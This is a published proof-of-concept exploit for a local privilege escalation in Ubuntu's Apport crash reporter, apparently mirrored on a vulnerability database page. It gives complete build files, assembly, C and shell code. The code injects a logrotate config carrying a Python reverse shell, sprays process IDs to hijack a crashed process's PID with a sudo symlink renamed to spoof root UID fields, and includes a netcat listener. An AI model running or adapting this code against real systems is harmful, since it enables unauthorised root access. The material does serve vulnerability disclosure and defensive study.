`# Exploit Title: Apport 2.20 - Local Privilege Escalation
# Date: 18/02/21
# Exploit Author: Gr33nh4t
# Vendor Homepage: https://ubuntu.com/
# Version:
Apport: Ubuntu 20.10 - Before 2.20.11-0ubuntu50.5
Apport: Ubuntu 20.04 - Before 2.20.11-0ubuntu27.16
Apport: Ubuntu 18.04 - Before 2.20.9-0ubuntu7.23
Apport: Ubuntu 16.04 - Before 2.20.1-0ubuntu2.30
# Tested on: Ubuntu
This is a POC for Apport exploit, we exploited these bugs by launching a reverse shell to 127.0.0.1:1234.
# Setup
To compile the exploit code several packages are needed:
sudo apt-get install build-essential nasm gcc
# Compilation
make
# Run
./exploit.sh
The reverse shell will connect on the next execution of logrotate
nc -l -p 1234
## Makefile ##
.PHONY: all clean
CC=gcc
CFLAGS=
NASM=nasm
NASM_FLAGS=-f elf64
LD=ld
all: exploit crash decoy
exploit: exploit.c
$(CC) -o $@ $< $(CFLAGS)
chmod +x $@
crash: crash.o
$(LD) $^ -o $@
decoy: decoy.o
$(LD) $^ -o $@
crash.o: crash.asm
$(NASM) $(NASM_FLAGS) $^
decoy.o: decoy.asm
$(NASM) $(NASM_FLAGS) $^
clean:
rm exploit decoy crash *.o
## crash.asm ##
section .data
message db 10,"/var/crash/test.log{",10," su root root",10," daily",10," size=0",10," firstaction",10," python3 -c ", 34, "import sys,socket,os,pty; s=socket.socket();s.connect(('127.0.0.1', 1234));[os.dup2(s.fileno(), fd) for fd in (0,1,2)];pty.spawn('/bin/sh')", 34, ";",10," endscript",10,"}",10, 00
timeval:
tv_sec dd 0
tv_usec dd 0
section .text
global _start
_start:
mov dword [tv_sec], 4000000
mov dword [tv_usec], 0
mov rax, 35
mov rdi, timeval
mov rsi, 0
syscall
## decoy.asm ##
section .text
global _start
_start:
mov dword [0], 0
## exploit.c ##
#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define PID_THRESHOLD (80)
int read_max_pid_file()
{
FILE *fd = 0;
char buf[256];
fd = fopen("/proc/sys/kernel/pid_max", "r");
fread(buf, sizeof(buf), 1, fd);
fclose(fd);
return atoi(buf);
}
void write_to_fifo_file(char * path)
{
FILE *fd = 0;
char buf[] = "A";
fd = fopen(path, "w");
fwrite(buf, sizeof(buf), 1, fd);
fclose(fd);
return;
}
int main(int argc, char *argv[])
{
int iteration = 0;
pid_t crash_pid = -1, temp_pid = -1, spray_pid = -1;
int current_pid = 0, max_pid = 0;
int total_pid = 0;
char *crash_argv[] = {"crash", NULL};
char *sudo_argv[] = {"sudo", "-S", "sud", NULL};
char current_dir[1024] = {0};
char exec_buf[2048] = {0};
char crash_buf[2048] = {0};
struct stat sb = {0} ;
int null_fd = -1;
signal(SIGCHLD, SIG_IGN);
getcwd(current_dir, sizeof(current_dir));
snprintf(exec_buf, sizeof(exec_buf), "%s/%s", current_dir, "a\rUid: 0\rGid: 0");
snprintf(crash_buf, sizeof(crash_buf), "%s/%s", current_dir, "crash");
chdir("/etc/logrotate.d/");
// Creating the crash program
if (0 == stat(crash_buf, &sb) && sb.st_mode & S_IXUSR)
{
crash_pid = fork();
if (0 == crash_pid)
{
execve(crash_buf, crash_argv, NULL);
exit(0);
}
else if(-1 == crash_pid)
{
printf("[-] Could not fork program\n");
return -1;
}
}
else
{
printf("[-] Please check crash file executable.");
return -1;
}
max_pid = read_max_pid_file();
printf("[*] crash pid: %d\n", crash_pid);
printf("[*] max pid: %d\n", max_pid);
printf("[*] Creating ~%d PIDs\n", max_pid);
printf("[*] Forking new processes\n");
sleep(3);
// Iterating through max_pid to almost reach the crash program pid
while (iteration < max_pid - 1)
{
// Print progress of forks
if( 0 == (iteration % (int)(max_pid / 5000)))
{
printf("\rIteration: %d/%d", iteration + 1, max_pid);
fflush(stdout);
}
temp_pid = -1;
temp_pid = fork();
if (0 == temp_pid)
{
exit(0);
}
else if (temp_pid > 0)
{
iteration++;
// We should stop before the crash pid to avoid other processes created meanwhile to interfere the exploit process
if ( temp_pid < crash_pid && crash_pid - temp_pid < PID_THRESHOLD)
{
printf("\rIteration: %d/%d\n", iteration + 1, max_pid);
fflush(stdout);
printf("[+] less then %d pid from the target: last fork=%d , target: %d\n", PID_THRESHOLD, temp_pid, crash_pid);
break;
}
}
else if (-1 == temp_pid)
{
printf("[-] Could not fork temp programs\n");
}
}
printf("[*] Crashing the crash program\n");
kill(crash_pid, SIGSEGV); // From Now on the seconds apport will launch and we have 30 seconds to exploit it
sleep(5);
printf("[*] Killing the crash program\n");
kill(crash_pid, SIGKILL);
sleep(3);
// Now crash pid is free and we need to occupy it
for(int i=0; i < PID_THRESHOLD ; i++)
{
spray_pid = fork();
if (0 == spray_pid)
{
if (crash_pid == getpid())
{
null_fd = open("/dev/null", O_WRONLY);
dup2(null_fd, 1);
dup2(null_fd, 2);
close(null_fd);
printf("[+] Creating suid process\n");
execve(exec_buf, sudo_argv, NULL);
}
exit(0);
}
}
sleep(3);
printf("[*] Writing to fifo file\n");
write_to_fifo_file(argv[1]);
// Now the first apport released and the second apport resumed
printf("[+] Wrote core file to cwd!\n");
sleep(10); // Waiting for the second apport to finish execution
return 0;
}
## exploit.sh ##
#!/bin/sh
set -e
echo "[*] Running exploit"
touch /var/crash/test.log
ulimit -c unlimited
if [ ! -d "~/.config/apport" ]; then
echo "[*] Settings directory not exists"
echo "[*] Creating settings directory"
mkdir -p ~/.config/apport
fi
if [ ! -f "~/.config/apport/settings" ] ; then
echo "[*] Settings file not exists"
echo "[main]\nunpackaged=true\n" > ~/.config/apport/settings
echo "[+] Settings file created"
fi
DECOY_PATH=`realpath ./decoy`
MY_UID=`id -u`
DECOY_CRASH_NAME=`echo "${DECOY_PATH}.${MY_UID}.crash" | sed 's/\//_/g'`
DECOY_CRASH_PATH="/var/crash/${DECOY_CRASH_NAME}"
if [ -f $DECOY_CRASH_PATH ] || [ -p $DECOY_CRASH_PATH ] ; then
echo "[*] decoy crash exists deleting the file"
rm $DECOY_CRASH_PATH
fi
mkfifo $DECOY_CRASH_PATH
echo "[+] FIFO file created"
./decoy 2>&1 >/dev/null &
killall -SIGSEGV ./decoy
echo "[+] Decoy process created"
SUDO_PATH=`which sudo`
ln -s $SUDO_PATH "linkchange"
python3 -c "import os; os.rename('./linkchange', 'a\rUid: 0\rGid: 0')"
echo "[+] symlink to sudo created"
./exploit $DECOY_CRASH_PATH
rm $DECOY_CRASH_PATH
sleep 5
if [ -f "/etc/logrotate.d/core" ] ; then
echo "[*] Exploit succesfully finished"
else
echo "[*] Exploit failed"
fi
# Kill the sudo process after second apport finished
kill `ps -ef | grep "sudo -S sud" | grep -v grep | awk '{print $2}'`
##
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation